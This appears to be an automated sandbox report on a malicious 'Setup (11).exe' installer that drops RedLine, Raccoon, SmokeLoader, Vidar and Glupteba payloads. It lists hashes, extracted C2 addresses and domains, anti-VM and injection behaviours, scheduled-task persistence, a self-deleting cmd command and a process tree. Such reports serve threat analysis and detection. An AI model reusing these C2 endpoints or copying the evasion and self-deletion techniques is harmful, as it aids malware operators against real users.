Overview
overview
10Static
static
Setup (1).exe
windows11_x64
10Setup (10).exe
windows11_x64
10Setup (11).exe
windows11_x64
10Setup (12).exe
windows11_x64
10Setup (13).exe
windows11_x64
10Setup (14).exe
windows11_x64
10Setup (15).exe
windows11_x64
10Setup (16).exe
windows11_x64
10Setup (17).exe
windows11_x64
10Setup (18).exe
windows11_x64
10Setup (19).exe
windows11_x64
10Setup (2).exe
windows11_x64
10Setup (20).exe
windows11_x64
10Setup (21).exe
windows11_x64
10Setup (22).exe
windows11_x64
10Setup (23).exe
windows11_x64
10Setup (24).exe
windows11_x64
10Setup (25).exe
windows11_x64
10Setup (26).exe
windows11_x64
10Setup (27).exe
windows11_x64
10Setup (28).exe
windows11_x64
10Setup (29).exe
windows11_x64
10Setup (3).exe
windows11_x64
10Setup (30).exe
windows11_x64
10Setup (31).exe
windows11_x64
10Setup (4).exe
windows11_x64
10Setup (5).exe
windows11_x64
10Setup (6).exe
windows11_x64
10Setup (7).exe
windows11_x64
10Setup (8).exe
windows11_x64
10Setup (9).exe
windows11_x64
10Setup.exe
windows11_x64
10Resubmissions
15-10-2024 15:36
241015-s1zlzasdkc 1001-07-2024 18:32
240701-w6yteawhmq 1001-07-2024 14:52
240701-r82wmaxdnd 1001-07-2024 14:52
240701-r8syqa1dpp 1011-03-2024 21:22
240311-z8dsssgg58 1001-09-2021 13:18
210901-5bmxjspa5s 1001-09-2021 13:04
210901-te4btfspqa 1001-09-2021 05:12
210901-4wnkwm1p3j 1031-08-2021 21:47
210831-41rp97dma2 1031-08-2021 19:51
210831-359awwatje 10Analysis
-
max time kernel
105s -
max time network
1817s -
platform
windows11_x64 -
resource
win11 -
submitted
31-08-2021 21:47
Static task
static1
Behavioral task
behavioral1
Sample
Setup (1).exe
Resource
win11
Behavioral task
behavioral2
Sample
Setup (10).exe
Resource
win11
Behavioral task
behavioral3
Sample
Setup (11).exe
Resource
win11
Behavioral task
behavioral4
Sample
Setup (12).exe
Resource
win11
Behavioral task
behavioral5
Sample
Setup (13).exe
Resource
win11
Behavioral task
behavioral6
Sample
Setup (14).exe
Resource
win11
Behavioral task
behavioral7
Sample
Setup (15).exe
Resource
win11
Behavioral task
behavioral8
Sample
Setup (16).exe
Resource
win11
Behavioral task
behavioral9
Sample
Setup (17).exe
Resource
win11
Behavioral task
behavioral10
Sample
Setup (18).exe
Resource
win11
Behavioral task
behavioral11
Sample
Setup (19).exe
Resource
win11
Behavioral task
behavioral12
Sample
Setup (2).exe
Resource
win11
Behavioral task
behavioral13
Sample
Setup (20).exe
Resource
win11
Behavioral task
behavioral14
Sample
Setup (21).exe
Resource
win11
Behavioral task
behavioral15
Sample
Setup (22).exe
Resource
win11
Behavioral task
behavioral16
Sample
Setup (23).exe
Resource
win11
Behavioral task
behavioral17
Sample
Setup (24).exe
Resource
win11
Behavioral task
behavioral18
Sample
Setup (25).exe
Resource
win11
Behavioral task
behavioral19
Sample
Setup (26).exe
Resource
win11
Behavioral task
behavioral20
Sample
Setup (27).exe
Resource
win11
Behavioral task
behavioral21
Sample
Setup (28).exe
Resource
win11
Behavioral task
behavioral22
Sample
Setup (29).exe
Resource
win11
Behavioral task
behavioral23
Sample
Setup (3).exe
Resource
win11
Behavioral task
behavioral24
Sample
Setup (30).exe
Resource
win11
Behavioral task
behavioral25
Sample
Setup (31).exe
Resource
win11
Behavioral task
behavioral26
Sample
Setup (4).exe
Resource
win11
Behavioral task
behavioral27
Sample
Setup (5).exe
Resource
win11
Behavioral task
behavioral28
Sample
Setup (6).exe
Resource
win11
Behavioral task
behavioral29
Sample
Setup (7).exe
Resource
win11
Behavioral task
behavioral30
Sample
Setup (8).exe
Resource
win11
Behavioral task
behavioral31
Sample
Setup (9).exe
Resource
win11
Behavioral task
behavioral32
Sample
Setup.exe
Resource
win11
General
-
Target
Setup (11).exe
-
Size
631KB
-
MD5
cb927513ff8ebff4dd52a47f7e42f934
-
SHA1
0de47c02a8adc4940a6c18621b4e4a619641d029
-
SHA256
fd5c970806fba1500cbb6af5328329aeb43b8de3f02d90ec5d8cd1d57711622f
-
SHA512
988c8fd886a9155b7d190faf2ce6b34d910efcffcf1c6251f18a9d0c804a0ea26a89679273033ac98b200363c536426efd1ae9de445c34e660369abb06f0071c
Malware Config
Extracted
raccoon
10c753321b3ff323727f510579572aa4c5ea00cb
-
url4cnc
https://telete.in/bimboDinotrex
Extracted
metasploit
windows/single_exec
Extracted
redline
spnewportspectr
135.148.139.222:1594
Extracted
redline
1
37.0.8.88:44263
Extracted
redline
NORMAN2
45.14.49.184:27587
Extracted
smokeloader
2020
http://readinglistforaugust1.xyz/
http://readinglistforaugust2.xyz/
http://readinglistforaugust3.xyz/
http://readinglistforaugust4.xyz/
http://readinglistforaugust5.xyz/
http://readinglistforaugust6.xyz/
http://readinglistforaugust7.xyz/
http://readinglistforaugust8.xyz/
http://readinglistforaugust9.xyz/
http://readinglistforaugust10.xyz/
http://readinglistforaugust1.site/
http://readinglistforaugust2.site/
http://readinglistforaugust3.site/
http://readinglistforaugust4.site/
http://readinglistforaugust5.site/
http://readinglistforaugust6.site/
http://readinglistforaugust7.site/
http://readinglistforaugust8.site/
http://readinglistforaugust9.site/
http://readinglistforaugust10.site/
http://readinglistforaugust1.club/
http://readinglistforaugust2.club/
http://readinglistforaugust3.club/
http://readinglistforaugust4.club/
http://readinglistforaugust5.club/
http://readinglistforaugust6.club/
http://readinglistforaugust7.club/
http://readinglistforaugust8.club/
http://readinglistforaugust9.club/
http://readinglistforaugust10.club/
Signatures
-
Glupteba Payload 1 IoCs
resource yara_rule behavioral3/memory/4340-292-0x0000000004310000-0x0000000004C36000-memory.dmp family_glupteba -
MetaSploit
Detected malicious payload which is part of the Metasploit Framework, likely generated with msfvenom or similar.
-
Process spawned unexpected child process 2 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 3200 5016 rundll32.exe 13 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 6796 5016 rUNdlL32.eXe 13 -
RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
-
RedLine Payload 23 IoCs
resource yara_rule behavioral3/memory/2912-344-0x0000000000400000-0x0000000000422000-memory.dmp family_redline behavioral3/memory/4172-343-0x0000000000400000-0x000000000044A000-memory.dmp family_redline behavioral3/memory/2912-338-0x0000000000000000-mapping.dmp family_redline behavioral3/memory/4172-337-0x0000000000000000-mapping.dmp family_redline behavioral3/memory/3220-320-0x0000000000400000-0x0000000000422000-memory.dmp family_redline behavioral3/memory/5400-380-0x0000000000000000-mapping.dmp family_redline behavioral3/memory/3220-317-0x0000000000000000-mapping.dmp family_redline behavioral3/memory/2912-395-0x0000000004DC0000-0x00000000053D8000-memory.dmp family_redline behavioral3/memory/5484-394-0x0000000000000000-mapping.dmp family_redline behavioral3/memory/5576-406-0x0000000000000000-mapping.dmp family_redline behavioral3/memory/848-445-0x0000000000000000-mapping.dmp family_redline behavioral3/memory/6032-433-0x0000000000000000-mapping.dmp family_redline behavioral3/memory/4636-455-0x0000000000000000-mapping.dmp family_redline behavioral3/memory/5676-473-0x0000000000000000-mapping.dmp family_redline behavioral3/memory/5004-496-0x0000000000000000-mapping.dmp family_redline behavioral3/memory/1564-503-0x0000000000000000-mapping.dmp family_redline behavioral3/memory/5988-488-0x0000000000000000-mapping.dmp family_redline behavioral3/memory/2196-542-0x0000000000000000-mapping.dmp family_redline behavioral3/memory/4832-558-0x0000000000000000-mapping.dmp family_redline behavioral3/memory/1796-565-0x0000000000000000-mapping.dmp family_redline behavioral3/memory/5544-574-0x0000000000000000-mapping.dmp family_redline behavioral3/memory/232-600-0x0000000000000000-mapping.dmp family_redline behavioral3/memory/1564-599-0x00000000052E0000-0x0000000005886000-memory.dmp family_redline -
SmokeLoader
Modular backdoor trojan in use since 2014.
-
Suspicious use of NtCreateProcessExOtherParentProcess 4 IoCs
description pid Process procid_target PID 3720 created 436 3720 WerFault.exe 99 PID 4000 created 4340 4000 WerFault.exe 109 PID 5304 created 3892 5304 WerFault.exe 88 PID 5804 created 1608 5804 WerFault.exe 91 -
Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs
-
Vidar Stealer 1 IoCs
resource yara_rule behavioral3/memory/1608-370-0x0000000000830000-0x0000000000903000-memory.dmp family_vidar -
Downloads MZ/PE file
-
Executes dropped EXE 42 IoCs
pid Process 1232 i27CfGMWGcEvdwKPE8r_8frW.exe 4916 NxEKvXt6lJdIku_1J_mx65zY.exe 4576 TyeoePNWPumomzDWOMmcK7dx.exe 3892 u6vymH_NKR9gEQghSEp1oNul.exe 1608 giTLeDZMxVke7M3VbURjumPQ.exe 3996 wKhkTenH3lTYgpHouopuVTGB.exe 516 86ZDOZxeE7zoYfZZ_YLd1ovR.exe 600 6hDkM3W_fy2Thlc2o1_20Ant.exe 408 EQJj5UNvgi7u0n20C7yQFH4E.exe 436 bo3zRQwvAR6Aci536GwUXQPA.exe 844 v4nYqVAd30BZyAb8JL18H_JB.exe 704 gSjXDpOZFRY1O2vev_mpzJHo.exe 780 ZxIWcU6aQVQhGAI21HN518tO.exe 1216 ogCiMOl04MJsDSwjedz0gwHN.exe 1872 HrRUIIvpisSVd2s3XuhIp58z.exe 2524 1kFQYeTZ1OPAUBV3U0PtKkE5.exe 820 sgOXRgxzaec9yIPjRDKMsPz0.exe 1040 UjisC_jrMrU6YQE8kaQZBKYW.exe 1060 cJ6gvMPBuUmOHVuck682d917.exe 4340 XyRVwaYii5yh25iU6roq64sK.exe 3364 l4kg59xWiXPOimhRMgfNb1v1.exe 3216 k5_eXNl0ezodpFmtzzrpsrY9.exe 1524 g29oe1eL617QWKHBOzTN2Zln.exe 3492 y5RvqWf6RC2mLTNqIAKFBy4p.exe 680 k5_eXNl0ezodpFmtzzrpsrY9.tmp 1692 inst001.exe 2052 cutm3.exe 2408 md8_8eus.exe 1276 KBAvfsr.exe 4512 l4kg59xWiXPOimhRMgfNb1v1.exe 3220 ogCiMOl04MJsDSwjedz0gwHN.exe 5288 IQ0V_Fe_.eXE 4116 NxEKvXt6lJdIku_1J_mx65zY.exe 5392 gSjXDpOZFRY1O2vev_mpzJHo.exe 4172 1kFQYeTZ1OPAUBV3U0PtKkE5.exe 2912 v4nYqVAd30BZyAb8JL18H_JB.exe 5400 ogCiMOl04MJsDSwjedz0gwHN.exe 5484 NxEKvXt6lJdIku_1J_mx65zY.exe 5636 v4nYqVAd30BZyAb8JL18H_JB.exe 5576 1kFQYeTZ1OPAUBV3U0PtKkE5.exe 4564 7858770.exe 1560 Spadille.exe -
Checks BIOS information in registry 2 TTPs 6 IoCs
BIOS information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion cJ6gvMPBuUmOHVuck682d917.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion cJ6gvMPBuUmOHVuck682d917.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion sgOXRgxzaec9yIPjRDKMsPz0.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion sgOXRgxzaec9yIPjRDKMsPz0.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion g29oe1eL617QWKHBOzTN2Zln.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion g29oe1eL617QWKHBOzTN2Zln.exe -
Loads dropped DLL 3 IoCs
pid Process 680 k5_eXNl0ezodpFmtzzrpsrY9.tmp 680 k5_eXNl0ezodpFmtzzrpsrY9.tmp 1232 i27CfGMWGcEvdwKPE8r_8frW.exe -
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
resource yara_rule behavioral3/files/0x000200000002b1fb-196.dat themida behavioral3/files/0x000200000002b202-225.dat themida behavioral3/files/0x000200000002b1fa-204.dat themida behavioral3/files/0x000200000002b1fa-237.dat themida behavioral3/files/0x000200000002b1fb-232.dat themida behavioral3/files/0x000200000002b202-275.dat themida behavioral3/memory/1060-300-0x0000000000E80000-0x0000000000E81000-memory.dmp themida behavioral3/memory/820-298-0x0000000000850000-0x0000000000851000-memory.dmp themida behavioral3/memory/1524-321-0x0000000000900000-0x0000000000901000-memory.dmp themida -
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
-
description ioc Process Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA cJ6gvMPBuUmOHVuck682d917.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA sgOXRgxzaec9yIPjRDKMsPz0.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA g29oe1eL617QWKHBOzTN2Zln.exe -
Legitimate hosting services abused for malware hosting/C2 1 TTPs
-
Looks up external IP address via web service 13 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 95 ipinfo.io 651 ipinfo.io 677 ipinfo.io 1104 ipinfo.io 2445 ipinfo.io 2 ipinfo.io 47 ip-api.com 45 ipinfo.io 101 ipinfo.io 206 ipinfo.io 709 ipinfo.io 7 ipinfo.io 29 ipinfo.io -
Suspicious use of NtSetInformationThreadHideFromDebugger 3 IoCs
pid Process 1060 cJ6gvMPBuUmOHVuck682d917.exe 820 sgOXRgxzaec9yIPjRDKMsPz0.exe 1524 g29oe1eL617QWKHBOzTN2Zln.exe -
Suspicious use of SetThreadContext 8 IoCs
description pid Process procid_target PID 1216 set thread context of 3220 1216 ogCiMOl04MJsDSwjedz0gwHN.exe 134 PID 704 set thread context of 5392 704 gSjXDpOZFRY1O2vev_mpzJHo.exe 151 PID 2524 set thread context of 4172 2524 1kFQYeTZ1OPAUBV3U0PtKkE5.exe 138 PID 844 set thread context of 2912 844 v4nYqVAd30BZyAb8JL18H_JB.exe 140 PID 1216 set thread context of 5400 1216 ogCiMOl04MJsDSwjedz0gwHN.exe 147 PID 4916 set thread context of 5484 4916 NxEKvXt6lJdIku_1J_mx65zY.exe 146 PID 2524 set thread context of 5576 2524 1kFQYeTZ1OPAUBV3U0PtKkE5.exe 145 PID 1216 set thread context of 6032 1216 ogCiMOl04MJsDSwjedz0gwHN.exe 152 -
Drops file in Program Files directory 7 IoCs
description ioc Process File opened for modification C:\Program Files (x86)\Company\NewProduct\inst001.exe ZxIWcU6aQVQhGAI21HN518tO.exe File opened for modification C:\Program Files (x86)\Company\NewProduct\cutm3.exe ZxIWcU6aQVQhGAI21HN518tO.exe File opened for modification C:\Program Files (x86)\Company\NewProduct\md8_8eus.exe ZxIWcU6aQVQhGAI21HN518tO.exe File opened for modification C:\Program Files (x86)\Company\NewProduct\Uninstall.exe ZxIWcU6aQVQhGAI21HN518tO.exe File created C:\Program Files (x86)\Company\NewProduct\Uninstall.ini ZxIWcU6aQVQhGAI21HN518tO.exe File created C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe 86ZDOZxeE7zoYfZZ_YLd1ovR.exe File opened for modification C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe 86ZDOZxeE7zoYfZZ_YLd1ovR.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Program crash 18 IoCs
pid pid_target Process procid_target 4452 436 WerFault.exe 99 5812 3892 WerFault.exe 88 3428 4340 WerFault.exe 109 6088 1608 WerFault.exe 91 5716 1236 WerFault.exe 190 5424 3304 WerFault.exe 186 6984 1276 WerFault.exe 125 6228 1276 WerFault.exe 125 5684 7144 WerFault.exe 270 8800 7144 WerFault.exe 270 9464 1708 WerFault.exe 243 9504 1708 WerFault.exe 243 5936 4564 WerFault.exe 161 12084 3636 WerFault.exe 334 5416 10928 WerFault.exe 425 13272 11008 WerFault.exe 411 1932 10264 WerFault.exe 416 15492 8156 WerFault.exe 424 -
Checks SCSI registry key(s) 3 TTPs 3 IoCs
SCSI information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI gSjXDpOZFRY1O2vev_mpzJHo.exe Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI gSjXDpOZFRY1O2vev_mpzJHo.exe Key enumerated \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI gSjXDpOZFRY1O2vev_mpzJHo.exe -
Checks processor information in registry 2 TTPs 14 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WerFault.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1 WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1 WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision WerFault.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision WerFault.exe -
Creates scheduled task(s) 1 TTPs 4 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 1332 schtasks.exe 3600 schtasks.exe 16004 schtasks.exe 15600 schtasks.exe -
Delays execution with timeout.exe 1 IoCs
pid Process 5200 timeout.exe -
Enumerates system info in registry 2 TTPs 4 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WerFault.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WerFault.exe -
Kills process with taskkill 1 IoCs
pid Process 4524 taskkill.exe -
Script User-Agent 6 IoCs
Uses user-agent string associated with script host/environment.
description flow ioc HTTP User-Agent header 2454 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 97 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 109 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 205 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 552 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 1100 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) -
Suspicious behavior: EnumeratesProcesses 14 IoCs
pid Process 4320 Setup (11).exe 4320 Setup (11).exe 4452 WerFault.exe 4452 WerFault.exe 5392 gSjXDpOZFRY1O2vev_mpzJHo.exe 5392 gSjXDpOZFRY1O2vev_mpzJHo.exe 3428 WerFault.exe 3428 WerFault.exe 3256 Process not Found 3256 Process not Found 3256 Process not Found 3256 Process not Found 3256 Process not Found 3256 Process not Found -
Suspicious behavior: MapViewOfSection 1 IoCs
pid Process 5392 gSjXDpOZFRY1O2vev_mpzJHo.exe -
Suspicious use of AdjustPrivilegeToken 8 IoCs
description pid Process Token: SeDebugPrivilege 1040 UjisC_jrMrU6YQE8kaQZBKYW.exe Token: SeRestorePrivilege 4452 WerFault.exe Token: SeBackupPrivilege 4452 WerFault.exe Token: SeDebugPrivilege 3492 y5RvqWf6RC2mLTNqIAKFBy4p.exe Token: SeShutdownPrivilege 3256 Process not Found Token: SeCreatePagefilePrivilege 3256 Process not Found Token: SeShutdownPrivilege 3256 Process not Found Token: SeCreatePagefilePrivilege 3256 Process not Found -
Suspicious use of FindShellTrayWindow 1 IoCs
pid Process 680 k5_eXNl0ezodpFmtzzrpsrY9.tmp -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 4320 wrote to memory of 1232 4320 Setup (11).exe 86 PID 4320 wrote to memory of 1232 4320 Setup (11).exe 86 PID 4320 wrote to memory of 1232 4320 Setup (11).exe 86 PID 4320 wrote to memory of 4916 4320 Setup (11).exe 87 PID 4320 wrote to memory of 4916 4320 Setup (11).exe 87 PID 4320 wrote to memory of 4916 4320 Setup (11).exe 87 PID 4320 wrote to memory of 4576 4320 Setup (11).exe 89 PID 4320 wrote to memory of 4576 4320 Setup (11).exe 89 PID 4320 wrote to memory of 3892 4320 Setup (11).exe 88 PID 4320 wrote to memory of 3892 4320 Setup (11).exe 88 PID 4320 wrote to memory of 3892 4320 Setup (11).exe 88 PID 4320 wrote to memory of 1608 4320 Setup (11).exe 91 PID 4320 wrote to memory of 1608 4320 Setup (11).exe 91 PID 4320 wrote to memory of 1608 4320 Setup (11).exe 91 PID 4320 wrote to memory of 3996 4320 Setup (11).exe 90 PID 4320 wrote to memory of 3996 4320 Setup (11).exe 90 PID 4320 wrote to memory of 3996 4320 Setup (11).exe 90 PID 4320 wrote to memory of 516 4320 Setup (11).exe 92 PID 4320 wrote to memory of 516 4320 Setup (11).exe 92 PID 4320 wrote to memory of 516 4320 Setup (11).exe 92 PID 4320 wrote to memory of 600 4320 Setup (11).exe 93 PID 4320 wrote to memory of 600 4320 Setup (11).exe 93 PID 4320 wrote to memory of 600 4320 Setup (11).exe 93 PID 4320 wrote to memory of 408 4320 Setup (11).exe 101 PID 4320 wrote to memory of 408 4320 Setup (11).exe 101 PID 4320 wrote to memory of 408 4320 Setup (11).exe 101 PID 4320 wrote to memory of 436 4320 Setup (11).exe 99 PID 4320 wrote to memory of 436 4320 Setup (11).exe 99 PID 4320 wrote to memory of 436 4320 Setup (11).exe 99 PID 4320 wrote to memory of 844 4320 Setup (11).exe 100 PID 4320 wrote to memory of 844 4320 Setup (11).exe 100 PID 4320 wrote to memory of 844 4320 Setup (11).exe 100 PID 4320 wrote to memory of 704 4320 Setup (11).exe 97 PID 4320 wrote to memory of 704 4320 Setup (11).exe 97 PID 4320 wrote to memory of 704 4320 Setup (11).exe 97 PID 4320 wrote to memory of 780 4320 Setup (11).exe 98 PID 4320 wrote to memory of 780 4320 Setup (11).exe 98 PID 4320 wrote to memory of 780 4320 Setup (11).exe 98 PID 4320 wrote to memory of 1216 4320 Setup (11).exe 96 PID 4320 wrote to memory of 1216 4320 Setup (11).exe 96 PID 4320 wrote to memory of 1216 4320 Setup (11).exe 96 PID 4320 wrote to memory of 1872 4320 Setup (11).exe 94 PID 4320 wrote to memory of 1872 4320 Setup (11).exe 94 PID 4320 wrote to memory of 1872 4320 Setup (11).exe 94 PID 4320 wrote to memory of 2524 4320 Setup (11).exe 103 PID 4320 wrote to memory of 2524 4320 Setup (11).exe 103 PID 4320 wrote to memory of 2524 4320 Setup (11).exe 103 PID 4320 wrote to memory of 820 4320 Setup (11).exe 102 PID 4320 wrote to memory of 820 4320 Setup (11).exe 102 PID 4320 wrote to memory of 820 4320 Setup (11).exe 102 PID 4320 wrote to memory of 1040 4320 Setup (11).exe 112 PID 4320 wrote to memory of 1040 4320 Setup (11).exe 112 PID 4320 wrote to memory of 1060 4320 Setup (11).exe 111 PID 4320 wrote to memory of 1060 4320 Setup (11).exe 111 PID 4320 wrote to memory of 1060 4320 Setup (11).exe 111 PID 4320 wrote to memory of 4340 4320 Setup (11).exe 109 PID 4320 wrote to memory of 4340 4320 Setup (11).exe 109 PID 4320 wrote to memory of 4340 4320 Setup (11).exe 109 PID 4320 wrote to memory of 3364 4320 Setup (11).exe 108 PID 4320 wrote to memory of 3364 4320 Setup (11).exe 108 PID 4320 wrote to memory of 3364 4320 Setup (11).exe 108 PID 4320 wrote to memory of 3216 4320 Setup (11).exe 106 PID 4320 wrote to memory of 3216 4320 Setup (11).exe 106 PID 4320 wrote to memory of 3216 4320 Setup (11).exe 106
Processes
-
C:\Users\Admin\AppData\Local\Temp\Setup (11).exe"C:\Users\Admin\AppData\Local\Temp\Setup (11).exe"1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4320 -
C:\Users\Admin\Documents\i27CfGMWGcEvdwKPE8r_8frW.exe"C:\Users\Admin\Documents\i27CfGMWGcEvdwKPE8r_8frW.exe"2⤵
- Executes dropped EXE
- Loads dropped DLL
PID:1232 -
C:\Windows\SysWOW64\cmd.execmd.exe /C timeout /T 10 /NOBREAK > Nul & Del /f /q "C:\Users\Admin\Documents\i27CfGMWGcEvdwKPE8r_8frW.exe"3⤵PID:5780
-
C:\Windows\SysWOW64\timeout.exetimeout /T 10 /NOBREAK4⤵
- Delays execution with timeout.exe
PID:5200
-
-
-
-
C:\Users\Admin\Documents\NxEKvXt6lJdIku_1J_mx65zY.exe"C:\Users\Admin\Documents\NxEKvXt6lJdIku_1J_mx65zY.exe"2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:4916 -
C:\Users\Admin\Documents\NxEKvXt6lJdIku_1J_mx65zY.exeC:\Users\Admin\Documents\NxEKvXt6lJdIku_1J_mx65zY.exe3⤵
- Executes dropped EXE
PID:4116
-
-
C:\Users\Admin\Documents\NxEKvXt6lJdIku_1J_mx65zY.exeC:\Users\Admin\Documents\NxEKvXt6lJdIku_1J_mx65zY.exe3⤵
- Executes dropped EXE
PID:5484
-
-
C:\Users\Admin\Documents\NxEKvXt6lJdIku_1J_mx65zY.exeC:\Users\Admin\Documents\NxEKvXt6lJdIku_1J_mx65zY.exe3⤵PID:4636
-
-
C:\Users\Admin\Documents\NxEKvXt6lJdIku_1J_mx65zY.exeC:\Users\Admin\Documents\NxEKvXt6lJdIku_1J_mx65zY.exe3⤵PID:1564
-
-
C:\Users\Admin\Documents\NxEKvXt6lJdIku_1J_mx65zY.exeC:\Users\Admin\Documents\NxEKvXt6lJdIku_1J_mx65zY.exe3⤵PID:1796
-
-
C:\Users\Admin\Documents\NxEKvXt6lJdIku_1J_mx65zY.exeC:\Users\Admin\Documents\NxEKvXt6lJdIku_1J_mx65zY.exe3⤵PID:1012
-
-
C:\Users\Admin\Documents\NxEKvXt6lJdIku_1J_mx65zY.exeC:\Users\Admin\Documents\NxEKvXt6lJdIku_1J_mx65zY.exe3⤵PID:6008
-
-
C:\Users\Admin\Documents\NxEKvXt6lJdIku_1J_mx65zY.exeC:\Users\Admin\Documents\NxEKvXt6lJdIku_1J_mx65zY.exe3⤵PID:512
-
-
C:\Users\Admin\Documents\NxEKvXt6lJdIku_1J_mx65zY.exeC:\Users\Admin\Documents\NxEKvXt6lJdIku_1J_mx65zY.exe3⤵PID:5640
-
-
C:\Users\Admin\Documents\NxEKvXt6lJdIku_1J_mx65zY.exeC:\Users\Admin\Documents\NxEKvXt6lJdIku_1J_mx65zY.exe3⤵PID:5736
-
-
C:\Users\Admin\Documents\NxEKvXt6lJdIku_1J_mx65zY.exeC:\Users\Admin\Documents\NxEKvXt6lJdIku_1J_mx65zY.exe3⤵PID:5440
-
-
C:\Users\Admin\Documents\NxEKvXt6lJdIku_1J_mx65zY.exeC:\Users\Admin\Documents\NxEKvXt6lJdIku_1J_mx65zY.exe3⤵PID:6568
-
-
C:\Users\Admin\Documents\NxEKvXt6lJdIku_1J_mx65zY.exeC:\Users\Admin\Documents\NxEKvXt6lJdIku_1J_mx65zY.exe3⤵PID:920
-
-
C:\Users\Admin\Documents\NxEKvXt6lJdIku_1J_mx65zY.exeC:\Users\Admin\Documents\NxEKvXt6lJdIku_1J_mx65zY.exe3⤵PID:924
-
-
C:\Users\Admin\Documents\NxEKvXt6lJdIku_1J_mx65zY.exeC:\Users\Admin\Documents\NxEKvXt6lJdIku_1J_mx65zY.exe3⤵PID:3144
-
-
C:\Users\Admin\Documents\NxEKvXt6lJdIku_1J_mx65zY.exeC:\Users\Admin\Documents\NxEKvXt6lJdIku_1J_mx65zY.exe3⤵PID:5012
-
-
C:\Users\Admin\Documents\NxEKvXt6lJdIku_1J_mx65zY.exeC:\Users\Admin\Documents\NxEKvXt6lJdIku_1J_mx65zY.exe3⤵PID:6028
-
-
C:\Users\Admin\Documents\NxEKvXt6lJdIku_1J_mx65zY.exeC:\Users\Admin\Documents\NxEKvXt6lJdIku_1J_mx65zY.exe3⤵PID:8000
-
-
C:\Users\Admin\Documents\NxEKvXt6lJdIku_1J_mx65zY.exeC:\Users\Admin\Documents\NxEKvXt6lJdIku_1J_mx65zY.exe3⤵PID:4104
-
-
C:\Users\Admin\Documents\NxEKvXt6lJdIku_1J_mx65zY.exeC:\Users\Admin\Documents\NxEKvXt6lJdIku_1J_mx65zY.exe3⤵PID:8760
-
-
